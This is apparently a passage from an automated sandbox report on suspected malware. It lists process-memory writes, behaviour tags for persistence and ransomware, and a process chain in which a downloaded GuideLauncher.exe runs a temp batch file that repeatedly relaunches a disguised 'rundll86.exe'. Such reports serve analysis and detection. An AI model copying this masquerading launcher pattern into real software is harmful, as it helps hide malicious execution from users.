PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 3684 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 3684 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 2516 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://r15stv.itch.io/chilledwindows#google_vignette

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd3ba746f8,0x7ffd3ba74708,0x7ffd3ba74718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3000 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3160 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3180 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5520 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5520 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4164 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5148 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5724 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5752 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5428 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6060 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5548 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5720 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6124 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6300 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6712 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2040,69187352469718982,9043181406380633954,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6940 /prefetch:8

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\Downloads\chilledwindows.exe

"C:\Users\Admin\Downloads\chilledwindows.exe"

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x2f8 0x43c

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4552.0.692983625\391872896" -parentBuildID 20221007134813 -prefsHandle 1872 -prefMapHandle 1612 -prefsLen 20671 -prefMapSize 233414 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3e15fe68-4100-4af4-a02e-86391732eeb1} 4552 "\\.\pipe\gecko-crash-server-pipe.4552" 1964 1bf9d1ddf58 gpu

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4552.1.1426504256\168971004" -parentBuildID 20221007134813 -prefsHandle 2352 -prefMapHandle 2348 -prefsLen 20707 -prefMapSize 233414 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4762d4b1-d310-47b6-a3c3-5704d9b21eea} 4552 "\\.\pipe\gecko-crash-server-pipe.4552" 2364 1bf9cd30558 socket

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4552.2.1531906279\1032164725" -childID 1 -isForBrowser -prefsHandle 2948 -prefMapHandle 3060 -prefsLen 20810 -prefMapSize 233414 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2a112940-34f4-4ccd-97de-bc08d0d694fd} 4552 "\\.\pipe\gecko-crash-server-pipe.4552" 3052 1bfa12a3658 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4552.3.450243310\857605415" -childID 2 -isForBrowser -prefsHandle 3568 -prefMapHandle 3564 -prefsLen 25988 -prefMapSize 233414 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c8bfc8b7-46dd-438a-8d05-a6635ea913a7} 4552 "\\.\pipe\gecko-crash-server-pipe.4552" 3580 1bf9fd1c758 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4552.4.500358184\125831423" -childID 3 -isForBrowser -prefsHandle 4036 -prefMapHandle 4032 -prefsLen 26047 -prefMapSize 233414 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f651086f-348b-423f-a58a-f5b31d2fac08} 4552 "\\.\pipe\gecko-crash-server-pipe.4552" 4048 1bfa22e7b58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4552.5.1908591044\1055646886" -childID 4 -isForBrowser -prefsHandle 5148 -prefMapHandle 5144 -prefsLen 26047 -prefMapSize 233414 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6de3896a-4d8f-4f1d-95a0-f0d61079e4c2} 4552 "\\.\pipe\gecko-crash-server-pipe.4552" 5156 1bfa32cc858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4552.6.479286168\2056470653" -childID 5 -isForBrowser -prefsHandle 5280 -prefMapHandle 5284 -prefsLen 26047 -prefMapSize 233414 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {43ab1385-1f74-4930-9311-944f50d79b28} 4552 "\\.\pipe\gecko-crash-server-pipe.4552" 5272 1bfa32ce658 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4552.7.1599438782\881728523" -childID 6 -isForBrowser -prefsHandle 5472 -prefMapHandle 5476 -prefsLen 26047 -prefMapSize 233414 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {31ddf510-3f9b-4964-8756-2abde79f009f} 4552 "\\.\pipe\gecko-crash-server-pipe.4552" 5556 1bfa32ce358 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4552.8.1986022347\1858214759" -childID 7 -isForBrowser -prefsHandle 5464 -prefMapHandle 5460 -prefsLen 26126 -prefMapSize 233414 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {861fe320-ede3-45a9-b4db-0142ecaec4a6} 4552 "\\.\pipe\gecko-crash-server-pipe.4552" 5892 1bfa4f0a258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4552.9.1530892803\517018775" -childID 8 -isForBrowser -prefsHandle 5788 -prefMapHandle 5700 -prefsLen 26566 -prefMapSize 233414 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d59cba9e-17a6-49ed-9930-c7ea3bd86412} 4552 "\\.\pipe\gecko-crash-server-pipe.4552" 5684 1bfa0b99558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4552.10.1942339683\1288345132" -childID 9 -isForBrowser -prefsHandle 4868 -prefMapHandle 1548 -prefsLen 26566 -prefMapSize 233414 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f1c5ec15-4cb4-4652-afda-20ff202168cb} 4552 "\\.\pipe\gecko-crash-server-pipe.4552" 6056 1bfa2d0a558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4552.11.117803018\2065739475" -childID 10 -isForBrowser -prefsHandle 1548 -prefMapHandle 5580 -prefsLen 26566 -prefMapSize 233414 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c01d496b-9aa8-4be9-89ed-32465244f784} 4552 "\\.\pipe\gecko-crash-server-pipe.4552" 5660 1bfa418d058 tab

C:\Users\Admin\Downloads\GuideLauncher.exe

"C:\Users\Admin\Downloads\GuideLauncher.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D32B.tmp\D32C.tmp\D32D.bat C:\Users\Admin\Downloads\GuideLauncher.exe"

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Windows\system32\taskmgr.exe

"C:\Windows\system32\taskmgr.exe" /4

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

